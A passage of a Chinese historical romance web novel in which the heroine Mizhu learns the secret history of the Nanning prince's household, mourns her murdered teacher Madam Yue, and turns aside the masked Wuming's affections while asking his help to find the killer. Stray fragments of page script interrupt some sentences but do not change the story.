那上面都是月夫人总结的一些独家方子,可以给女子调理身子,尤其是怀孕前后,如何强身健体… 甚至里面还写了一些,女子和男子行周公之礼的一些事项。 蜜珠看到这手札,便有些脸红。 但她知道,这是月夫人的好意。 历来女子生产,便是在鬼门关走了一圈,全看身子骨是否硬朗。月夫人写的这本手札,在市面上是万万找不到的。 蜜珠将手札小心放好,心里想着,她也该和豆蔻姜芊一起,给月夫人准备一份礼物。 …… 金玉阁送来了蜜珠之前打的那些头面。 一起送来的,还有一整套嫁衣。 来送东西的掌柜笑呵呵道:“这嫁衣是请了江南最好的绣娘,用金丝银线一点点绣好的。知道姑娘有喜事,金玉阁便也凑个热闹,随一份礼。” 这金玉阁的人显得格外客气,让蜜珠不解。 却是一旁的夏草,忍着笑揭开了谜底。 “主子可知,这金玉阁是谁家的产业?” 金玉阁在京城里,是极其有名的首饰楼。王侯贵族们,都爱在里面打首饰,且那里出来的首饰做工极好,便让许多贵人甘心排着队等。 还从来没见过金玉阁这般…上赶着送贺礼。 那嫁衣,蜜珠看了,极为奢华,普通人家根本用不起这样的料子。 就是他们蜜家,掏空了家底,都不一定能请人做出这么好的嫁衣。 蜜珠沉吟了一会儿,脑中冒出了一个念头。 “莫非金玉阁和南宁王府有关?” 她只能想到这个了。 夏草惊讶:“主子竟能猜到?” 蜜珠叹息:“天上又不会白白掉钱给我,非亲非故的,这般贵重的贺礼如何能轮得到我。想必多半是和王府有关了。” 何况,她第一次去金玉阁的时候,就在那儿遇到过晚莲郡主。 蜜珠还记得,当时晚莲郡主特意把定好的首饰让给自己,但那天夜里南宁世子遇到了刺客,她和娘去探望,便刚好撞见了晚莲郡主,得知了对方的真实身份。 见蜜珠猜到了,夏草便也不再隐瞒,轻声道。 “京城里大多数达官贵人都不知道,金玉阁背后的东家是南宁王府。长公主早年替世子和郡主置办了很多产业,全都是瞒着众人操办的。长公主其实…也不容易。” 见夏草如此感叹,蜜珠一时间好奇心被调动,忍不住问。 “长公主也会有烦心事吗?” 这话问完,她自己也觉得失言了。 不论长公主身份多么尊贵,她生下来的南宁世子好端端的生了病痴傻了,总归是天大的悲痛。 毕竟越是尊贵的人,就越是难以接受缺憾。 南宁世子这般姿容,想必若不生病,也会是京城里其他公子难以企及的存在。 见蜜珠好奇,夏草斟酌了片刻,才犹豫着开口。 “这些事儿想必等主子进了王府的门,便都会知道。那奴婢今日就稍微多说几句。” “京城里应该都晓得,王府的老太太是谁,主子应该也有所耳闻?” 蜜珠点头。 南宁王府的事情,在整个京城并不是什么大秘密,一些老一辈的人都知晓此事,她也听娘提起过。 不外乎就是前朝被推翻后,皇室遗留下来的公主,被先皇留下来,赐婚给了当时名不见经传的华将军。 这才有了如今南宁王府的前身。 夏草继续道:“世人对前朝公主的印象,多半只定格在她从前容貌倾城,是前朝皇帝最宠爱的女儿,能在动荡中留下一条命,已经再幸运不过的事。但他们都不知道,前朝公主刚刚嫁给华老将军的时候,坐在花轿里还没下来时,是抱着必死决心的。” 说起当年的隐秘之事时,夏草的语调都染 () { $(''.inform'').remove(); $(''#content'').append('' 上了几丝风霜与感慨。 “那夜拜堂送入洞房后,前朝公主便试图服药自尽,是被当时的华老将军及时发现,暗中请了大夫,才将她救了回来。” 蜜珠听得入了神,一只手攥着袖口,大眼睛里满是紧张。 “…成亲前两年,前朝公主一直落落寡欢,似乎是因着身边的老嬷嬷说了什么话激励,再加上华老将军的包容,她才活了下来。直到第三年,许是被华老将军的痴情打动,才有了如今的南宁王,也是他们唯一的独子。” 夏草说起这些时,默默观察着蜜珠的神色。 蜜珠并没察觉,只有些感慨。 “那…他们是不是从那以后就很恩爱?” 问起这话的时候,蜜珠自己都有些不好意思。世人看话本的时候,都爱盼望好的结局,她在听到昔年南宁王府的故事时,也会下意识期盼它有个好结果。 这是一种本能的期待。 夏草看着她:“二人的确是过了一段恩爱的日子,华老将军却生了病,早年在战场上拼搏,留下了很多医治不了的暗伤。华老将近在京城里名声不显,众人只知道他过去是个泥腿子,祖上也没有什么富贵和底子,是凭借从龙之功,才得来了一个将军封号。但谁都不知道,其实华老将军是个智慧的人。” “在自知时日无多的情况下,他开始为当时的将军夫人谋划后路。” 蜜珠沉默了片刻,小心翼翼问。 “为何要谋划后路?” 这话问出口,她才反应过来,当时的将军夫人可是前朝皇室后裔啊,保不准坐在皇位上的人,哪一日会动了杀心。 王朝更替会带来许多杀戮,这是过去轮换的朝代里所证明的。 夏草见蜜珠自己想明白了这其中的利害关系,眼眸都温和了几分。 “恰逢那时候的长公主,已经到了出阁的年纪。她常常易容成男子,跟随太子出宫参加各种聚会,便能见到很多当时的权贵子弟,不乏一些传出了才子名声的风流子弟。” 蜜珠听得认真,只觉得那些过去的故事,会牵动人的心,让人为他们担忧。 “坊间传闻,长公主殿下,对南宁王一见倾心,此事是真的吗?” 蜜珠忍不住问。 夏草想了想,回答道。 “结果是真,但过程却不是众人以为的那样。” “昔年长公主殿下的裙下之臣也有不少,只是她素来就想要一个心性高洁的无上君子。奈何扮成男子跟在太子身后时,发现那些京城里向来享有名誉的男子,个个都是金玉其外败絮其中,便已经熄了几分嫁娶的心思。” “不过哪怕贵为长公主,有些事情也是无法避免的。年岁到了,不得不去相看一个合适的驸马。恰逢此时,长公主收到了一篇诗文,此诗文采斐然,灵气逼人,从前却声名不显,这让长公主很是好奇。” 62.第 62 章 听到这里,蜜珠心里已经隐约有些猜想。 先前说到华老将军自知时日无多,便想为自己的妻儿谋划出路,恰逢长公主正在相看夫婿,却瞧不上那些京城里的富家公子哥儿。 长公主忽然收到了诗文… 难道是华老将军设法送出去的? 她心中有疑惑,却并未在脸上显露出来,毕竟此事关联着王府中的长辈,不好太过于揣测。 夏草继续道:“长公主开始打听,这篇诗文到底是何人所作,却总是没有任何结果。后来有一日,她得到了一张字条,上面写着,那首诗文的主人会在三日后,去某个茶楼的二楼雅间,和好友相会,届时还会写出别的诗。” “长公主虽然疑惑,但因着好奇,还是悄悄去了那个茶楼…那日回来之后,长公主便开始打听华将军府上的公子。” 夏草说到这里,停顿。 “等到长公主决定嫁到华府后,当时先帝因着宠爱她,便赐了驸马南宁王的封号,才有了如今的南宁王府。” “世子出生刚满月,华老将军就去世了,临终前将当初谋划的一切,告知了长公主殿下…坦诚这桩婚事,是他为自己的妻儿所谋取的一枚护身符。” 有着当朝长公主的庇护,无论如何,南宁王府在明面上,都能有个善终,而不至于默默死去。 此事对于长公主来说的确是有些卑鄙,一个女儿家一生的婚事,被当成了筹码。 所谓的惜才和一见钟情背后,其实也是别人的设计罢了。 所以华老将军心中对于自己的儿媳,是有愧疚的,临终之前将所有这些,都告知于长公主殿下。 还告诉她,此事是他自己背着家人谋划的,让她无论如何也不要因此而错怪了妻儿。 人之将死,其言也善,华老将军认错的同时,也和长公主坦承了南宁王府的危机。 前朝血脉向来都是当朝在位者最忌讳的事情。表面上看,前朝公主被赐给了一个小将军,而保下了一命,是先帝宽宏大量。 可华老将军和前朝公主生下的是儿子啊。 早在当初娶前朝公主的时候,华老将军就已经料到,来日会危险,但他素来是孑然一身,身后又没有父母兄妹。 如花似玉的绝色公主只要他点头,就赐给他了,兴许是看不得那样天香国色的掌上明珠,过得太过于悲惨…… 他有心想当一个守花人。 于是这些年来他韬光养晦,低调蛰伏,就连诞下了子嗣之后,也一直秉承着保命的原则。不让唯一的儿子表露任何异于常人的聪慧之处,只盼着他能够泯然众人,这才能够不被皇帝所注意到。 他的教诲当然也起到了作用,所以纵使南宁王天资出众,有满腹诗才在身,若是潜心科举定能入朝为官,他也一直记着华老将军的叮嘱,凡事都不出头,只默默做一个在众人眼里有些迂腐的书呆子,最多闲暇时约着至交好友小聚一番,偶作几首诗。 夏草说到这里,看向蜜珠。 “所以长公主殿下其实不容易的,她看似只是找了一个如意郎君,实则是把两朝的恩怨背负在了身上,且成了南宁王府的一个支柱。” “整个王府中,老太太代表着前朝被屠戮的仇恨,而她代表着则是如今的大令。你说她夹在其中能好过吗?这些事儿她又是无从去诉说的,能讲给谁听呢?” “长公主殿下不得不飞快成长起来。且她心中哪怕有委屈,也从未告诉过自己的夫君和孩子。” 蜜珠静静听着,一时间入了神。 她接触的人越多,听到的故事越多,就越发觉得前世的自己过得太过渺小,接触的天地也太闭塞。 这世上活着这么多人,每个人的故事都可以被写在书上,恩怨情仇,悲欢离合,七情六欲。这些情绪起伏,岂是能够三言两语就说清楚的。 她先前以为只要出生尊贵,像长公主殿下这样的人一辈子就能过。得轻松无忧,没有任何烦恼。 可如今才晓得,但凡是人活在 () { $(''.inform'').remove(); $(''#content'').append('' 这个世上,便都有数不尽的欲望和忧愁,满足了这个,那就有新的不满足生出。 今日夏草和她说了这么多,蜜珠也有所感悟。她看向对方,声音轻柔道。 “辛苦你今日告诉我这些事。你放心,我……” 她想说等成亲之后,她也会担起一份责任来,但这话到了嘴边,却又有些羞涩。 夏草瞧着新主子赧然的样子,忍俊不禁道。 “主子可别和我说这些话,否则就是折煞我了,我今日能讲这些过去的陈年旧事,也是得了长公主殿下的默许。否则我岂敢在背后嚼舌根子呢。知道能让世子娶到您这样的媳妇,长公主殿下心中很是宽慰,这才让我特意跟过来伺候您。” 夏草跟在长公主身边多年,也是很明白王府的局势的,老太太几乎不管事儿,除了在对儿孙的问题上,婆媳两人同仇敌忾,一致的都会维护王府利益,但在其他事情上,昔年的前朝公主几乎已经成了个透明人,不愿也不想去操心那么多事。 所以几乎王府里大大小小,所有的担子,都在长公主殿下一人的肩膀上扛着。 将来郡主是必定要嫁出去的,那么王府里真正能够和长公主殿下谈得来的,也就只有而今面前的这位新主子了。 所以夏草知道,蜜珠很重要。 这才是她被派到蜜珠身边最重要的缘故。徐徐的透露一些消息,慢慢的让新主子知道,进了王府之后是什么样的情形。如此。整个王府才能够内外都如铁桶一般牢固。 今日陡然知道了这么多事,夜里蜜珠睡觉的时候,都觉得脑袋有些胀痛。 夜里她昏昏沉沉,做了很多梦,梦境破碎不清晰,醒来时犹如天边的云被吹散了一般,捕捉不到什么痕迹。 正当她准备出门去白府见豆蔻和姜芊,商量一下要给月夫人送什么临别礼物时,却听门外有人报来一个噩耗。 “小姐,月夫人没了!” 小柳儿跑了进来,朝蜜珠扔来了这猝不及防的消息。 63.第 63 章 小柳儿跑进来扔的这句话,宛若一记闷雷,响在了蜜珠头顶。 蜜珠没回过神,只怔怔看着小柳儿,后者便用慌张神情,又重复了一遍。 “才得来的消息,月夫人没了…” 小柳儿刚得知此事就知道,一定会对自家大小姐造成极大的打击,但等亲口说完这事,看着蜜珠一下子褪去了血色的苍白脸蛋,才有些后知后觉的懊悔。 平日里性子沉稳的蓄月,并不怎么开口说话,见小柳儿扔了这么一个没头没尾又极惊人的事情,把小姐弄的六神无主后,对着小柳儿道。 “到底发生了何事,你且慢慢道来。” 小柳儿哭丧着脸道。 “才听了府里买菜的婶子说,今儿在京城外头发生了一桩惨事,听说一个皇宫里出来的老嬷嬷带着几个婢女,想要回乡养老,半道上却遇见了劫匪。听说人都死绝了…” “我打听了一番,他们说那老嬷嬷似是叫什么月夫人,从前是专门给贵人家的小姐教礼仪规矩的…” 这两句话一出,几乎将月夫人遇害的事情板上钉钉。 满京城里专门给大家闺秀教规矩的人,虽也有那么几个,但资历最老,名头最响的,只有月夫人一个,何况外头传来的消息里,还说了那老嬷嬷叫月夫人… 小柳儿一口气把这些说完了,便惴惴不安看着蜜珠,两只手都在背后搅在一块儿,既懊悔自己的冒失莽撞,又担忧小姐的反应,怕她接受不了这桩打击。 可是这事儿哪怕她不说,小姐也总会知道的。 厢房里众人都看着蜜珠,只见她神色恍惚了一会儿,便猛的朝门外走去,脚步踉跄。 因为走的急,似乎四肢也在发软,她差点撞到门框上。一旁的蓄月忙伸出手去扶,然而蜜珠却像是失了魂一般,继续跌跌撞撞往外走,看都不看身后的人。 “小姐,小姐你要去哪儿啊?” 小柳儿后悔极了,跺了跺脚,在身后喊。 才来蜜府不久的夏草,冲小柳儿点了点头。 “此事颇为突然,小姐受不住打击。你在府里候着吧,我们陪着小姐出去。” 照夏草的眼光看,这蜜府啊,毕竟没什么根基。所以下人也都不像功勋侯爵家的婢女那么有规矩。 她能看出来,小柳儿应是自幼陪着主子一起长大的,所以情谊匪浅。可再大的事儿,传化时也是讲究个方法的。 小柳儿显得性子简单了点,若是落到复杂的环境,难免被有心人利用,反过来成为主子的掣肘。 夏草说完,便闪身去追前头的蜜珠和蓄月二人。 她的确是有高深的功夫在身的,无论是贴身保护人还是轻功,都算是上乘,只是一眨眼的功夫,就追上了远处二人。 小柳儿慢了一步,便落在了身后。 她颇为沮丧,嘴唇颤了颤,眼神也跟着黯淡了下来。 虽然先前也被小姐安抚过,知道自己在小姐心中的地位是无人可比的,不会被替代。 可看着蓄月做事张弛有度能被信赖,而新来的夏草也善于审视度势,又有着王府做背景,还能够有功夫在身保护小姐,两人几乎变成了小姐的左膀右臂,一下子就越过了自己的重要性,小柳儿心中酸酸的。 此时的蜜珠狂奔出了林府,让守门的门房看着都吓了一跳,蓄月和夏草牢牢跟在后头。 蓄月好不容易追上了蜜珠,感慨大小姐今日跑起来可真是快呀,前段时间的习武可算是没白费。 “小姐你等等,车夫马上就来,咱坐马车去比跑车要快。” 毕竟是大家闺秀,就这么在街上狂奔,实在是与理不合。 何况小姐如今定的亲事是南宁王府,如何能让别人这般看笑话呢? 旁人可不知道小姐是心中有事,焦急之下才跑这么快。 一传是十传百的,人家只会觉得是小姐受了刺激得了失心疯… 小姐和南宁王府的婚事就在眼前了,这个档口若是传出什么不好听的话,总是不妥的。 蜜珠瞧着颇有些失魂落魄,方才跑得快,一口气没喘上来,如今她眼神都是恍惚的。 她紧紧攥着蓄月的胳膊,像是溺水的人用力抓住救命稻草一般。 “你说,那消息是不是假的?” 蜜珠声线有些颤抖。 虽才和月夫人相处了两个多月,可这中间的师徒情谊是实打实的。 两世为人,月夫人是头一个教会蜜珠如此多东西的人,对方的叮嘱和谆谆教诲,一直在蜜珠耳边回响。 只要一想到月夫人真的是出了事,蜜珠的心就发颤。 她宁愿方才那些消息,都是小柳儿听岔了,或者骗 () { $(''.inform'').remove(); $(''#content'').append('' 她,而不是真的传来噩耗。 蓄月安慰她:“小姐,眼见为实。不如先去月夫人府上看看?” 兴许在路上有了一个缓冲的过程,大小姐就不会那么难受了。 蓄月也了解小柳儿,对方虽然性子单纯,还有些稚子心性,但在大事儿上是万万不会开玩笑的。 马车还没到月夫人府邸,半道上就先遇到了白豆蔻和姜芊二人。 显然三人都是听到了传闻,才急急忙忙赶来的。 到了月夫人的府邸,就见往日守着大门的下人,今日竟然没有踪影。 先前瞧着雄伟的三进小院,竟然突然有了种灰败的感觉。 姜芊三人彼此对视了一眼,眼里都是绝望。 衙门里停放着月夫人一行人的身体,蜜珠三人几乎是带着心痛的情绪赶了过去认领。 当见到月夫人那张总是不苟言笑的脸时,蜜珠痛哭失声。 三人哭的泣不成声,只能先去办理后事。 马不停蹄忙完七日丧事,蜜珠三人已经瘦了一整圈,瞧着弱质芊芊,和先前的精气神满满判若两人。 白豆蔻低声道:“月夫人明明和我们说过,要隔一段日子再回乡养老,怎么会如此匆忙,赶在半夜出城?” 蜜珠也回忆起来:“月夫人向来信守承诺,既答应了我们,等我们替她办践行酒,不会食言。” 姜芊也猛地出声:“此事有蹊跷!” 三人身上都一冷,骤然意识到,月夫人的死,并不是什么意外,而是有人蓄意谋杀! 这件事情似乎让蜜珠三人一下子成长了不少,三个姑娘聚在一起时,气氛都沉闷了不少。 还有不到十天,就要成亲了。 蜜珠就丝毫提不起来办喜事的劲儿,她满脑袋都是关于月夫人的情绪。 失踪了许久的无名,就是在这样的一个夜晚,突然又敲了她的窗。 蜜珠这一次没有再推拒不见。 眼下快入寒冬,窗户一开,外头刺骨的风就涌了进来。 无名戴着那张木质面具,还和几个月前一样,不露出正脸,只能看到两只黑眸。 “你还好吗?”他声音温柔。 蜜珠一双杏眼,像是骤然亮起了一把火,她忽的上前一步。 “你能帮我吗?”她要查清真相! 64.第 64 章 华宣深深看了一眼面前的姑娘。 从他知道月夫人出事之后,就晓得蜜珠定会伤心。 这几日他一直暗暗看着她,晓得她在心里疑惑月夫人遇难的蹊跷。 原本他不该再在成婚之前出现。 蜜珠并不想再见到无名这个身份,那他便让“无名”彻底消失。 可一想到这姑娘如今需要自己,他的身体就跟被下了蛊一般,不由自主往蜜府而来。 所幸,和他预料到的一样,这个时候的蜜珠,愿意见他,还需要“无名”。 “好。你想我怎么帮你?”华宣藏在面具后的脸上,闪过了几丝心疼。 蜜珠瞧着清瘦了不少。 她那张鹅蛋脸,原本瞧着浓淡皆宜,五官精致又分布匀称。 而今瘦了一些后,下巴尖了一些,那种清丽的美,就显得更浓烈了一些,像是花期盛开,不顾一切的绽放。 那双眼眸,也因此显得更加忽闪忽闪的水灵,大大的,就这般水汪汪看着你,让人心都软了。 瞧着这样的蜜珠,想到对方便是自己的未婚妻,华宣心中软成一片,甚至生出了一种能为这姑娘上刀山下火海的保护欲。 其实月夫人这件事情,若要仔细追究,是能够找到蛛丝马迹的。 从前华宣秉承的是明哲保身,韬光养晦之道。作为南宁世子,他天然就比旁人要多几丝身份上的枷锁。 所以无论是什么样的闲事,只要在京城,他就不会去管。 但蜜珠不一样。 华宣很愿意为她做点什么。 无名戴着面具,就算有什么情绪,隔着木质面具,也看不出来。 蜜珠见他答应的爽快,心里的几丝忐忑也去了几分,稍微有了些底气。 “我想查清楚,月夫人遇害这事背后,是否有什么蹊跷,我想找到凶手。” 蜜珠咬唇,一向漂亮的眼睛里,盛着怒意和哀痛。 她一生气起来,就更加生动有魅力。 不像之前那样,虽然美丽,但因着要保持和男子之间的距离,总是隔着一层淡淡的隔膜,也就显得有些不真实。 华宣定定看着她,再次将那枚哨子递给她。 “留着罢,若有需要,方便唤我。” 他当然是希望能保留无名的身份,和蜜珠继续联系的。 困在南宁世子的身份下,他便不能正大光明去和自己心上的姑娘说话。 天知道这段日子,不能堂堂正正出现在蜜珠面前,他心里有多煎熬。 有一度,他甚至有些羡慕能陪着蜜珠的白豆蔻和姜芊,这两人每天都能和蜜珠在一起。 不像他…要来看一眼自己的未婚妻,还得选着深更半夜没人瞧见的时候,飞檐走壁当一回“梁上君子”。 而且未婚妻对他,还满是防备。 华宣心里苦,但却没处说。 今日终于又能和蜜珠四目相对,有单独相处的时机,他心中攒了许多情愫,想要和对方说。 可看着蜜珠憔悴却不失明艳的脸,他那些话,就又都缩了回去,只剩下满腔欣喜。 蜜珠原本一直沉浸在失去了月夫人的痛苦中,顾不上别的。但听了华宣的话,看着对方重新递过来的哨子,犹豫了片刻。 她终于又想起来了,无名之前对自己的…隐约情愫。 无名瞧出她的动摇,咳嗽了一声。 “只是个以防万一,紧急通知的信物罢了。我在来之前也查过,月夫人似乎是得罪了京城里的贵人,才会遇到这样的事情。你若手中有个信物,十万火急时,也能及时联络我。” 比起初见时,拦人家马车的那种玩世不恭。如今的华宣,显得极为多情温柔。但他克制着,并不让蜜珠感觉出来。 一听到月夫人的名字,蜜珠便严肃起来,最后那点儿矫情也不见了,直接伸出小手,将哨子抓在了手心。 “我收着便是。” 经历了月夫人的事件后,蜜珠的心态隐约有了些改变。 她不是不注重男女大防了,而是觉得比起这些,人的生死和安危更加重要。 倘若一个人真的问心无愧,又何必去计较旁人怎么看你。 无名的确对她没有恶意,反倒是从相识以来,一直帮助她。 若不提男女之情,无名是一个很好的友人。 总是能在关键时候给你助力,且信守承诺。 “…你帮了我这么多,我却没能回报你什么。我欠了你很多人情。” 蜜珠欲言又止。< () { $(''.inform'').remove(); $(''#content'').append('' /p> 她当然希望自己能很问心无愧地,拒绝无名给的一切帮助,但她做不到。 就好像对方给了一个能更快爬上山顶的梯子,她…还没有靠自己的力量,就直接去到山顶的能力。 她心中觉得这样不对,便也有些羞愧。 无名见她又这样自责起来,无声笑了笑。 “你愿意再见我,就是在回报我。” 此话一出,房间里的氛围都变得不一样起来。 那些从来不曾真正说出口的难言情愫,悄悄探出头,伴着今夜的明月出现。 蜜珠心尖一颤,迷蒙双眼出现了几丝迟疑。 “…无名,我…有婚约。我…” 她实在是不该再给无名希望。 “你若想帮助我,也尊重我,便不该屡次三番这般和我表明心意。我若接受你,便成为了不忠不义水性杨花之人。将来东窗事发,你我都没什么好的下场,尤其是我。你知道的,但凡男女有私情,总是女子成为千夫所指,甚至率先下猪笼沉塘。” “而我若不接受你,像今日这般再点破和拒绝,便是在伤害你…” “我心中感激你几次三番的伸出援手,但这些不能和感情画等号。你若来帮我,便要确定自己的身份,确定你站在什么位置,是否在合适的地方,而不给我造成困扰。” 这些话越说,蜜珠就越是清醒。 向来都是这样,男子嘴上几句甜言蜜语和许诺,多少女子便芳心暗许,一颗心全部捧了出去。 她在曲立封那里,将男子的负心薄幸和审时度势,看了个一清二楚。 既然男子可以这样善变,为何女子不能多保护自己一点呢。 蜜珠由此看人,就多了几丝戒备。 她不再听男子说什么,而是看他们做了什么。 也许真正的倾慕和喜欢一个人,是不要伤害对方,也不给对方带来任何困扰。 华宣一时间有些哑然。 他是情之所至,一时动情。但他喜欢的姑娘,却好似对男子防备至深,拒人于千里之外。 他并不生气。 只是好奇,倘若今日来表明心意的,是他作为南宁世子,能将蜜珠娶回家的身份。 蜜珠还会如此防备他吗?